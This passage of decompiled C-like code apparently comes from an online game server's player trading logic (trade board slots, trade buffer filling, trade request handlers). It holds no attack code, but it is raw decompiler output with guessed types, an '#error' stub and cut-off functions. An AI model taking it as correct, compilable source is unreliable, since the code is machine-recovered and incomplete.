**)playerB + 1036))(); CCharacterTitleZone::CT_MoneyBeg(v17, v16, v15); LODWORD(v18) = (*(int (**)(void))(**(_DWORD **)A + 1056))(); *(_QWORD *)(v12 + 25) = v18 - *(_QWORD *)(v12 + 17); v19 = *(_DWORD *)playerB; } LODWORD(v20) = (*(int (**)(void))(*(_DWORD *)v19 + 1056))(); *(_QWORD *)(v12 + 33) = *(_QWORD *)(v12 + 17) + v20; LABEL_11: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "TradeBoard::tb_FillCen"); } //----- (00521F60) -------------------------------------------------------- char __thiscall TradeBoard::tb_Get(void *this, int idx) { void *v2; // esi@1 char v3; // bl@2 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "TradeBoard::tb_Get"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "TradeBoard::tb_Get"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( *(_DWORD *)idx < 12 ) v3 = *((_BYTE *)v2 + *(_DWORD *)idx + 6); else v3 = -1; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "TradeBoard::tb_Get"); return v3; } //----- (00521FD0) -------------------------------------------------------- char __thiscall TradeBoard::tb_Next(void *this, int idx) { void *v2; // esi@1 int v3; // eax@2 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "TradeBoard::tb_Next"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "TradeBoard::tb_Next"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( *(_DWORD *)idx < 12 ) { v3 = *(_DWORD *)idx + 1; *(_DWORD *)idx = v3; if ( *((_BYTE *)v2 + v3 + 6) != -1 ) { LABEL_5: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "TradeBoard::tb_Next"); return 1; } while ( 1 ) { ++v3; *(_DWORD *)idx = v3; if ( v3 >= 12 ) break; if ( *((_BYTE *)v2 + v3 + 6) != -1 ) goto LABEL_5; } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "TradeBoard::tb_Next"); return 0; } //----- (005220B0) -------------------------------------------------------- void __thiscall GameDBSession::gds_NC_ITEMDB_ITEMTRADEFAIL_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len) { void *v3; // esi@1 int v4; // eax@3 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "GameDBSession::gds_NC_ITEMDB_ITEMTRADEFAIL_ACK"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "GameDBSession::gds_NC_ITEMDB_ITEMTRADEFAIL_ACK"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = (void *)ShineObjectManager::som_GetObject(&shineobjmanager, netcmd[1].protocol); if ( v3 && (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v3 + 836))(v3) == *(_DWORD *)&netcmd[2].protocol ) { v4 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v3 + 1916))(v3); (*(void (__thiscall **)(_DWORD, _DWORD))(*(_DWORD *)v4 + 32))(v4, netcmd[4].protocol); ShineObjectClass::ShineObject::so_CloseTradeMenu(v3); (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, _DWORD))(*(_DWORD *)v3 + 776))(v3, 19, 35, netcmd[5].protocol); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "GameDBSession::gds_NC_ITEMDB_ITEMTRADEFAIL_ACK"); } //----- (005221A0) -------------------------------------------------------- void __thiscall GameDBSession::gds_NC_ITEMDB_ITEMTRADESUC_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len) { void *v3; // esi@1 int v4; // eax@3 int v5; // ST04_4@4 DebugLogging *v6; // eax@4 DebugLogging *v7; // eax@4 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "GameDBSession::gds_NC_ITEMDB_ITEMTRADESUC_ACK"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "GameDBSession::gds_NC_ITEMDB_ITEMTRADESUC_ACK"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = (void *)ShineObjectManager::som_GetObject(&shineobjmanager, netcmd[1].protocol); if ( v3 && (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v3 + 836))(v3) == *(_DWORD *)&netcmd[2].protocol ) { v4 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v3 + 1916))(v3); if ( !(unsigned __int8)(*(int (__thiscall **)(_DWORD, _DWORD, _DWORD, _DWORD))(*(_DWORD *)v4 + 24))( v4, v3, netcmd[4].protocol, 0) ) { v5 = netcmd[4].protocol; v6 = DebugLogging::operator<<(&LockIndexLog, "GameDBSession::gds_NC_ITEMDB_ITEMTRADESUC_ACK : "); v7 = DebugLogging::operator<<(v6, v5); DebugLogging::operator<<(v7, &deb_LF); } ShineObjectClass::ShineObject::so_CloseTradeMenu(v3); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "GameDBSession::gds_NC_ITEMDB_ITEMTRADESUC_ACK"); } //----- (005222B0) -------------------------------------------------------- char __thiscall TradeBoard::tb_Home(void *this, int idx) { void *v2; // esi@1 char v3; // al@1 char v4; // bl@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "TradeBoard::tb_Home"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "TradeBoard::tb_Home"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *(_DWORD *)idx = -1; v3 = TradeBoard::tb_Next(v2, idx); --funcallanalizer.fca_stackpoint; v4 = v3; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "TradeBoard::tb_Home"); return v4; } //----- (00522360) -------------------------------------------------------- char __stdcall TradeBoard::tb_FillTradeBuffer(int playerA, int playerB, int cellA, int cellB) { int v4; // ebp@1 int v5; // edx@1 int v6; // eax@1 int v7; // ecx@1 int v8; // eax@2 int v9; // ebx@4 int v10; // edx@4 int v11; // eax@4 int v12; // ecx@4 int v13; // eax@5 int v14; // edx@7 int v15; // eax@7 int v16; // ecx@7 int v17; // eax@7 int v18; // esi@7 int v19; // edi@8 signed int v20; // eax@8 int v21; // edi@11 signed int v22; // eax@11 int v23; // ecx@14 int v24; // edi@15 int v25; // ecx@18 int v26; // ecx@18 __int16 v27; // ax@19 int v28; // eax@21 int v29; // ecx@21 int v30; // ecx@21 int v31; // eax@25 int v32; // ecx@25 __int16 v33; // ax@26 int v34; // ecx@28 int v35; // ecx@28 int v36; // edx@28 int v37; // edi@30 int v38; // edx@32 int v39; // ecx@32 int v40; // eax@32 int v41; // ecx@32 signed __int16 v42; // ax@33 char emptyslotfoundB; // [sp+30h] [bp-5Ah]@7 char emptyslotfoundA; // [sp+31h] [bp-59h]@7 ITEM_INVEN invA; // [sp+32h] [bp-58h]@7 ITEM_INVEN invB; // [sp+36h] [bp-54h]@7 int boardidxA; // [sp+3Ah] [bp-50h]@7 int boardidxB; // [sp+3Eh] [bp-4Ch]@7 FunctionEntarance _; // [sp+42h] [bp-48h]@1 int *ibieB; // [sp+46h] [bp-44h]@7 int v52; // [sp+4Ah] [bp-40h]@7 int v53; // [sp+4Eh] [bp-3Ch]@7 int *ibieA; // [sp+52h] [bp-38h]@7 int v55; // [sp+56h] [bp-34h]@7 int v56; // [sp+5Ah] [bp-30h]@7 int ibieBtmp; // [sp+5Eh] [bp-2Ch]@4 int v58; // [sp+62h] [bp-28h]@4 int v59; // [sp+6Ah] [bp-20h]@7 int ibieAtmp; // [sp+6Eh] [bp-1Ch]@1 int v61; // [sp+72h] [bp-18h]@1 int v62; // [sp+7Ah] [bp-10h]@4 int v63; // [sp+86h] [bp-4h]@1 unsigned __int8 playerAa; // [sp+8Eh] [bp+4h]@12 int playerAb; // [sp+8Eh] [bp+4h]@24 unsigned __int8 playerBa; // [sp+92h] [bp+8h]@9 int playerBb; // [sp+92h] [bp+8h]@29 int cellAa; // [sp+96h] [bp+Ch]@17 _.fe_FunctionCode = "TradeBoard::tb_FillTradeBuffer"; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "TradeBoard::tb_FillTradeBuffer"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "TradeBoard::tb_FillTradeBuffer"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = playerA; v5 = **(_DWORD **)playerA; v63 = 0; v6 = (*(int (**)(void))(v5 + 1156))(); v7 = *(_DWORD *)(playerA + 10); ibieAtmp = (int)ItemBoxIterator::_vftable_; v61 = v7; if ( v6 ) v8 = (*(int (__stdcall **)(int))(*(_DWORD *)v7 + 4))(v6); else v8 = (*(int (**)(void))(*(_DWORD *)v7 + 8))(); v62 = v8; ibieAtmp = (int)&ItemBoxIterEmpty::_vftable_; v9 = playerB; v10 = **(_DWORD **)playerB; LOBYTE(v63) = 1; v11 = (*(int (**)(void))(v10 + 1156))(); v12 = *(_DWORD *)(playerB + 10); ibieBtmp = (int)ItemBoxIterator::_vftable_; v58 = v12; if ( v11 ) v13 = (*(int (__stdcall **)(int))(*(_DWORD *)v12 + 4))(v11); else v13 = (*(int (**)(void))(*(_DWORD *)v12 + 8))(); v59 = v13; ibieBtmp = (int)&ItemBoxIterEmpty::_vftable_; v14 = **(_DWORD **)playerA; LOBYTE(v63) = 2; v15 = (*(int (**)(void))(v14 + 1916))(); ibieA = &ibieAtmp; v16 = *(_DWORD *)playerB; v55 = v15; v56 = 9; v17 = (*(int (**)(void))(*(_DWORD *)v16 + 1916))(); ibieB = &ibieBtmp; v52 = v17; v53 = 9; emptyslotfoundA = InventoryLocking::UnlockedInventoryIterator::uii_Home((InventoryLocking::UnlockedInventoryIterator *)&ibieA); emptyslotfoundB = InventoryLocking::UnlockedInventoryIterator::uii_Home((InventoryLocking::UnlockedInventoryIterator *)&ibieB); TradeBoard::tb_Home(*(void **)(playerA + 18), (int)&boardidxA); TradeBoard::tb_Home(*(void **)(playerB + 18), (int)&boardidxB); v18 = cellA; invB.Inven = invB.Inven & 0x3FF | 0x2400; invA.Inven = invA.Inven & 0x3FF | 0x2400; while ( 1 ) { v19 = *(_DWORD *)(v4 + 18); FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "TradeBoard::tb_Get"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "TradeBoard::tb_Get"; v20 = boardidxA; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; playerBa = v20 < 12 ? *(_BYTE *)(v19 + v20 + 6) : -1; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "TradeBoard::tb_Get"); v21 = *(_DWORD *)(v9 + 18); FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "TradeBoard::tb_Get"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "TradeBoard::tb_Get"; v22 = boardidxB; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; playerAa = v22 < 12 ? *(_BYTE *)(v21 + v22 + 6) : -1; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "TradeBoard::tb_Get"); invA.Inven ^= (invA.Inven ^ playerBa) & 0x3FF; v23 = *(_DWORD *)v4; invB.Inven ^= (invB.Inven ^ playerAa) & 0x3FF; if ( playerBa >= (*(int (**)(void))(*(_DWORD *)v23 + 1144))() ) break; v24 = (***(int (__stdcall ****)(_DWORD))(v4 + 10))(playerBa); if ( !(*(_WORD *)(v24 + 8) != -1) ) { AssertClass::ac_AssertFail(&shineassert, "TradeBoard::tb_FillTradeBuffer : Trade empty", 0); *(_WORD *)cellB = 2117; goto LABEL_42; } if ( playerAa < (*(int (**)(void))(**(_DWORD **)v9 + 1144))() ) { cellAa = (***(int (__stdcall ****)(_DWORD))(v9 + 10))(playerAa); if ( *(_WORD *)(cellAa + 8) != -1 ) { *(_BYTE *)(26 * *(_BYTE *)(v18 + 41) + v18 + 54) = playerBa; v25 = 26 * *(_BYTE *)(v18 + 41); *(_DWORD *)(v25 + v18 + 42) = *(_DWORD *)v24; *(_DWORD *)(v25 + v18 + 46) = *(_DWORD *)(v24 + 4); *(_WORD *)(26 * *(_BYTE *)(v18 + 41) + v18 + 50) = *(_WORD *)(v24 + 8); v26 = *(_DWORD *)(v24 + 112); if ( v26 ) v27 = (*(int (__stdcall **)(int))(*(_DWORD *)v26 + 24))(v24 + 8); else v27 = 0; *(_WORD *)(26 * (*(_BYTE *)(v18 + 41) + 2) + v18) = v27; (*(void (__stdcall **)(_DWORD, int, int, ITEM_INVEN *, ITEM_INVEN *))(**(_DWORD **)(v4 + 14) + 48))( *(_WORD *)(v4 + 22), v24, cellAa, &invA, &invA); v28 = cellAa; *(_BYTE *)(26 * *(_BYTE *)(v18 + 41) + v18 + 67) = playerAa; v29 = 26 * *(_BYTE *)(v18 + 41); *(_DWORD *)(v29 + v18 + 55) = *(_DWORD *)cellAa; *(_DWORD *)(v29 + v18 + 59) = *(_DWORD *)(cellAa + 4); *(_WORD *)(26 * *(_BYTE *)(v18 + 41) + v18 + 63) = *(_WORD *)(cellAa + 8); v30 = *(_DWORD *)(cellAa + 112); if ( v30 ) { LOWORD(v30) = (*(int (__stdcall **)(int))(*(_DWORD *)v30 + 24))(cellAa + 8); v28 = cellAa; } *(_WORD *)(26 * *(_BYTE *)(v18 + 41) + v18 + 65) = v30; (*(void (__thiscall **)(_DWORD, _DWORD, int, int, ITEM_INVEN *, ITEM_INVEN *))(**(_DWORD **)(v9 + 14) + 48))( *(_DWORD *)(v9 + 14), *(_WORD *)(v9 + 22), v28, v24, &invB, &invB); goto LABEL_36; } AssertClass::ac_AssertFail(&shineassert, "TradeBoard::tb_FillTradeBuffer : Trade empty", 0); *(_WORD *)cellB = 2117; LABEL_42: --funcallanalizer.fca_stackpoint; ibieBtmp = (int)ItemBoxIterator::_vftable_; ibieAtmp = (int)ItemBoxIterator::_vftable_; v63 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "TradeBoard::tb_FillTradeBuffer"); return 0; } playerAb = (**(int (__stdcall ***)(_DWORD))ibieB[1])(ibieB[2]); if ( !emptyslotfoundB ) { *(_WORD *)cellB = 2121; goto LABEL_42; } *(_BYTE *)(26 * *(_BYTE *)(v18 + 41) + v18 + 54) = playerBa; v31 = 26 * *(_BYTE *)(v18 + 41); *(_DWORD *)(v31 + v18 + 42) = *(_DWORD *)v24; *(_DWORD *)(v31 + v18 + 46) = *(_DWORD *)(v24 + 4); *(_WORD *)(26 * *(_BYTE *)(v18 + 41) + v18 + 50) = *(_WORD *)(v24 + 8); v32 = *(_DWORD *)(v24 + 112); if ( v32 ) v33 = (*(int (__stdcall **)(int))(*(_DWORD *)v32 + 24))(v24 + 8); else v33 = 0; *(_WORD *)(26 * (*(_BYTE *)(v18 + 41) + 2) + v18) = v33; (*(void (__stdcall **)(_DWORD, int, ITEM_INVEN *, ITEM_INVEN *))(**(_DWORD **)(v4 + 14) + 40))( *(_WORD *)(v4 + 22), v24, &invA, &invA); *(_BYTE *)(26 * *(_BYTE *)(v18 + 41) + v18 + 67) = *((_BYTE *)ibieB + 8); v34 = 26 * *(_BYTE *)(v18 + 41); *(_DWORD *)(v34 + v18 + 55) = -1; *(_DWORD *)(v34 + v18 + 59) = -1; *(_WORD *)(26 * *(_BYTE *)(v18 + 41) + v18 + 63) = -1; *(_WORD *)(26 * *(_BYTE *)(v18 + 41) + v18 + 65) = 0; v35 = *(_DWORD *)(v9 + 14); v36 = *(_WORD *)(v9 + 22); invB.Inven ^= (invB.Inven ^ *((_WORD *)ibieB + 4)) & 0x3FF; (*(void (__stdcall **)(int, int, int, ITEM_INVEN *, ITEM_INVEN *))(*(_DWORD *)v35 + 48))( v36, playerAb, v24, &invB, &invB); emptyslotfoundB = InventoryLocking::UnlockedInventoryIterator::uii_Next((InventoryLocking::UnlockedInventoryIterator *)&ibieB); LABEL_36: ++*(_BYTE *)(v18 + 41); TradeBoard::tb_Next(*(void **)(v4 + 18), (int)&boardidxA); TradeBoard::tb_Next(*(void **)(v9 + 18), (int)&boardidxB); } playerBb = (**(int (__stdcall ***)(_DWORD))ibieA[1])(ibieA[2]); if ( playerAa < (*(int (**)(void))(**(_DWORD **)v9 + 1144))() ) { v37 = (***(int (__stdcall ****)(_DWORD))(v9 + 10))(playerAa); if ( !(*(_WORD *)(v37 + 8) != -1) ) { AssertClass::ac_AssertFail(&shineassert, "TradeBoard::tb_FillTradeBuffer : Trade empty", 0); goto LABEL_42; } if ( !emptyslotfoundA ) { *(_WORD *)cellB = 2121; goto LABEL_42; } *(_BYTE *)(26 * *(_BYTE *)(v18 + 41) + v18 + 54) = *((_BYTE *)ibieA + 8); v38 = 26 * *(_BYTE *)(v18 + 41); *(_DWORD *)(v38 + v18 + 42) = -1; *(_DWORD *)(v38 + v18 + 46) = -1; *(_WORD *)(26 * *(_BYTE *)(v18 + 41) + v18 + 50) = -1; *(_WORD *)(26 * (*(_BYTE *)(v18 + 41) + 2) + v18) = 0; v39 = *(_DWORD *)(v4 + 14); invA.Inven ^= (invA.Inven ^ *((_WORD *)ibieA + 4)) & 0x3FF; (*(void (__stdcall **)(_DWORD, int, int, ITEM_INVEN *, ITEM_INVEN *))(*(_DWORD *)v39 + 48))( *(_WORD *)(v4 + 22), playerBb, v37, &invA, &invA); *(_BYTE *)(26 * *(_BYTE *)(v18 + 41) + v18 + 67) = playerAa; v40 = 26 * *(_BYTE *)(v18 + 41); *(_DWORD *)(v40 + v18 + 55) = *(_DWORD *)v37; *(_DWORD *)(v40 + v18 + 59) = *(_DWORD *)(v37 + 4); *(_WORD *)(26 * *(_BYTE *)(v18 + 41) + v18 + 63) = *(_WORD *)(v37 + 8); v41 = *(_DWORD *)(v37 + 112); if ( v41 ) v42 = (*(int (__stdcall **)(int))(*(_DWORD *)v41 + 24))(v37 + 8); else v42 = 1; *(_WORD *)(26 * *(_BYTE *)(v18 + 41) + v18 + 65) = v42; (*(void (__stdcall **)(_DWORD, int, ITEM_INVEN *, ITEM_INVEN *))(**(_DWORD **)(v9 + 14) + 40))( *(_WORD *)(v9 + 22), v37, &invB, &invB); emptyslotfoundA = InventoryLocking::UnlockedInventoryIterator::uii_Next((InventoryLocking::UnlockedInventoryIterator *)&ibieA); goto LABEL_36; } --funcallanalizer.fca_stackpoint; ibieBtmp = (int)ItemBoxIterator::_vftable_; ibieAtmp = (int)ItemBoxIterator::_vftable_; v63 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "TradeBoard::tb_FillTradeBuffer"); return 1; } // 59C6A0: using guessed type int (*ItemBoxIterator___vftable_[4])(); // 59C6A8: using guessed type int (__thiscall *ItemBoxIterEmpty___vftable_)(_DWORD); //----- (00522AE0) -------------------------------------------------------- #error "522AE0: undefined or illegal type '#331' (funcsize=320)" //----- (00522F30) -------------------------------------------------------- signed int __thiscall TradeBoard::tb_OffBoard(void *this, signed int boardslot) { void *v2; // edi@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "TradeBoard::tb_OffBoard"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "TradeBoard::tb_OffBoard"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( boardslot >= 12 ) goto LABEL_4; if ( *((_BYTE *)v2 + boardslot + 6) == -1 ) { AssertClass::ac_AssertFail(&shineassert, "TradeBoard::tb_OffBoard : Down empty", 0); LABEL_4: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "TradeBoard::tb_OffBoard"); return -1; } *((_BYTE *)v2 + boardslot + 6) = -1; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "TradeBoard::tb_OffBoard"); return boardslot; } //----- (00523020) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_TRADE_DOWNBOARD_REQ(void *this, int netcmd, int len, __int16 handle) { int v4; // esi@1 int v5; // edi@5 int v6; // ebx@5 int v7; // edx@14 int v8; // eax@14 int v9; // ebp@14 char v10; // al@14 char *v11; // edi@16 char v12; // al@16 int v13; // eax@17 char v14; // al@18 int v15; // eax@19 char *v16; // [sp+4h] [bp-2Ch]@4 signed int v17; // [sp+4h] [bp-2Ch]@6 int slot; // [sp+18h] [bp-18h]@14 FunctionEntarance _; // [sp+1Ch] [bp-14h]@1 int v20; // [sp+20h] [bp-10h]@14 int v21; // [sp+2Ch] [bp-4h]@1 v4 = (int)this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_TRADE_DOWNBOARD_REQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_TRADE_DOWNBOARD_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_TRADE_DOWNBOARD_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v21 = 0; if ( !(_S3_43 & 1) ) { _S3_43 |= 1u; stru_1248FC18.cmc_AllowMode = 126; atexit(_E4_85); } if ( !((1 << **(_BYTE **)(v4 + 3716)) & stru_1248FC18.cmc_AllowMode) ) { v16 = "ShineObjectClass::ShinePlayer::sp_NC_TRADE_DOWNBOARD_REQ"; LABEL_13: --funcallanalizer.fca_stackpoint; v21 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v16); return; } v5 = *(_DWORD *)(v4 + 68295); v6 = v4 + 68295; if ( !v5 ) { AssertClass::ac_AssertFail(&shineassert, "ShinePlayer::sp_NC_TRADE_DOWNBOARD_REQ : Not activ", 0); v17 = 2114; LABEL_11: (*(void (__thiscall **)(int, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 19, 18, v17); goto LABEL_12; } if ( (unsigned int)ShineObjectClass::ShineObject::so_DistanceSquar(v4, *(_DWORD *)(v4 + 68295)) > 0xF4240 ) { ShineObjectClass::ShinePlayer::sp_tradebreak((void *)v4); LABEL_12: v16 = "ShineObjectClass::ShinePlayer::sp_NC_TRADE_DOWNBOARD_REQ"; goto LABEL_13; } if ( *(_BYTE *)(v4 + 68299) ) { AssertClass::ac_AssertFail( &shineassert, "ShinePlayer::sp_NC_TRADE_DOWNBOARD_REQ : Locked", *(_BYTE *)(v4 + 68299) == 0); v17 = 2115; goto LABEL_11; } v7 = *(_DWORD *)v4; slot = *(_BYTE *)(netcmd + 2); v8 = (*(int (__thiscall **)(int))(v7 + 1916))(v4); v9 = *(_DWORD *)v8; v20 = v8; v10 = TradeBoard::tb_Get((void *)(v4 + 68295), (int)&slot); (*(void (__thiscall **)(int, signed int, _DWORD))(v9 + 28))(v20, 9, (unsigned __int8)v10); slot = TradeBoard::tb_OffBoard((void *)(v4 + 68295), *(_BYTE *)(netcmd + 2)); if ( slot == -1 ) { (*(void (__thiscall **)(int, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 19, 18, 2119); } else { (*(void (__thiscall **)(int, int))(*(_DWORD *)v5 + 1912))(v5, v4); v11 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 19475; v11[2] = slot; v12 = ProtocolPacket::pp_SetPacketLen(&gpp, 3); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v12, "ShinePlayer::sp_NC_TRADE_DOWNBOARD_REQ : Packet Too Long", 3) ) { v13 = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 764))(v4); (*(void (__thiscall **)(int, int, ProtocolPacket *))(*(_DWORD *)v13 + 12))(v13, v4, &gpp); } *(_WORD *)v11 = 19476; v11[2] = slot; v14 = ProtocolPacket::pp_SetPacketLen(&gpp, 3); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v14, "ShinePlayer::sp_NC_TRADE_DOWNBOARD_REQ : Packet Too Long", 3) ) { v15 = (*(int (**)(void))(**(_DWORD **)v6 + 764))(); (*(void (__thiscall **)(int, _DWORD, ProtocolPacket *))(*(_DWORD *)v15 + 12))(v15, *(_DWORD *)v6, &gpp); } } v21 = -1; FunctionEntarance::_FunctionEntarance(&_); } //----- (005232A0) -------------------------------------------------------- signed int __thiscall TradeBoard::tb_OnBoard(void *this, char invenslot) { void *v2; // edi@1 signed int v3; // esi@1 signed int result; // eax@16 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "TradeBoard::tb_OnBoard"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "TradeBoard::tb_OnBoard"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = 0; while ( *((_BYTE *)v2 + v3 + 6) != -1 ) { if ( *((_BYTE *)v2 + v3 + 7) == -1 ) { ++v3; break; } if ( *((_BYTE *)v2 + v3 + 8) == -1 ) { v3 += 2; break; } if ( *((_BYTE *)v2 + v3 + 9) == -1 ) { v3 += 3; break; } if ( *((_BYTE *)v2 + v3 + 10) == -1 ) { v3 += 4; break; } if ( *((_BYTE *)v2 + v3 + 11) == -1 ) { v3 += 5; break; } v3 += 6; if ( v3 >= 12 ) break; } if ( v3 == 12 ) { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "TradeBoard::tb_OnBoard"); result = -1; } else { *((_BYTE *)v2 + v3 + 6) = invenslot; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "TradeBoard::tb_OnBoard"); result = v3; } return result; } //----- (005233A0) -------------------------------------------------------- void __userpurge ShineObjectClass::ShinePlayer::sp_NC_TRADE_UPBOARD_REQ(int a1, int a2, int netcmd, int slot, __int16 handle) { int v5; // esi@1 int v6; // edi@5 int v7; // eax@13 int v8; // ST14_4@15 signed int v9; // eax@15 int v10; // ebx@16 int v11; // eax@23 char *v12; // edi@23 char v13; // al@23 char v14; // al@23 int v15; // eax@24 char *v16; // eax@25 int v17; // ST10_4@25 char v18; // al@25 int v19; // eax@26 signed int v20; // [sp+10h] [bp-28h]@6 int v21; // [sp+14h] [bp-24h]@5 FunctionEntarance _; // [sp+24h] [bp-14h]@1 int v23; // [sp+28h] [bp-10h]@5 void *v24; // [sp+2Ch] [bp-Ch]@21 int v25; // [sp+34h] [bp-4h]@1 v5 = a1; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_TRADE_UPBOARD_REQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_TRADE_UPBOARD_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_TRADE_UPBOARD_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v25 = 0; if ( !(_S3_44 & 1) ) { _S3_44 |= 1u; stru_1248FC20.cmc_AllowMode = 126; atexit(_E4_86); } if ( !((1 << **(_BYTE **)(v5 + 3716)) & stru_1248FC20.cmc_AllowMode) ) { --funcallanalizer.fca_stackpoint; v25 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_TRADE_UPBOARD_REQ"); return; } v21 = a2; v6 = *(_DWORD *)(v5 + 68295); v23 = v5 + 68295; if ( !v6 ) { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::sp_NC_TRADE_UPBOARD_REQ : Not activ", 0); v20 = 2114; LABEL_7: (*(void (__thiscall **)(int, signed int, signed int, signed int))(*(_DWORD *)v5 + 776))(v5, 19, 14, v20); LABEL_8: --funcallanalizer.fca_stackpoint; v25 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_TRADE_UPBOARD_REQ"); return; } if ( (unsigned int)ShineObjectClass::ShineObject::so_DistanceSquar(v5, v6) > 0xF4240 ) { ShineObjectClass::ShinePlayer::sp_tradebreak((void *)v5); goto LABEL_8; } if ( *(_BYTE *)(v5 + 68299) ) { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_TRADE_UPBOARD_REQ : Locked", *(_BYTE *)(v5 + 68299) == 0); v20 = 2115; goto LABEL_7; } v7 = (*(int (__thiscall **)(int, int))(*(_DWORD *)v5 + 1916))(v5, v21); if ( !(unsigned __int8)(*(int (__thiscall **)(int, signed int, _DWORD))(*(_DWORD *)v7 + 12))( v7, 9, *(_BYTE *)(netcmd + 2)) ) { v8 = *(_BYTE *)(netcmd + 2); v9 = (*(int (__thiscall **)(int, int))(*(_DWORD *)(v5 + 35568) + 4))(v5 + 35568, v5 + 91688); if ( !AssertClass::operator__( &shineassert, *(_BYTE *)(netcmd + 2) < v9, "ShineObjectClass::ShinePlayer::sp_NC_TRADE_UPBOARD_REQ : Too large slot", v8) ) { v10 = (**(int (__thiscall ***)(_DWORD, _DWORD))(v5 + 35568))(v5 + 35568, *(_BYTE *)(netcmd + 2)); if ( AssertClass::operator__( &shineassert, *(_WORD 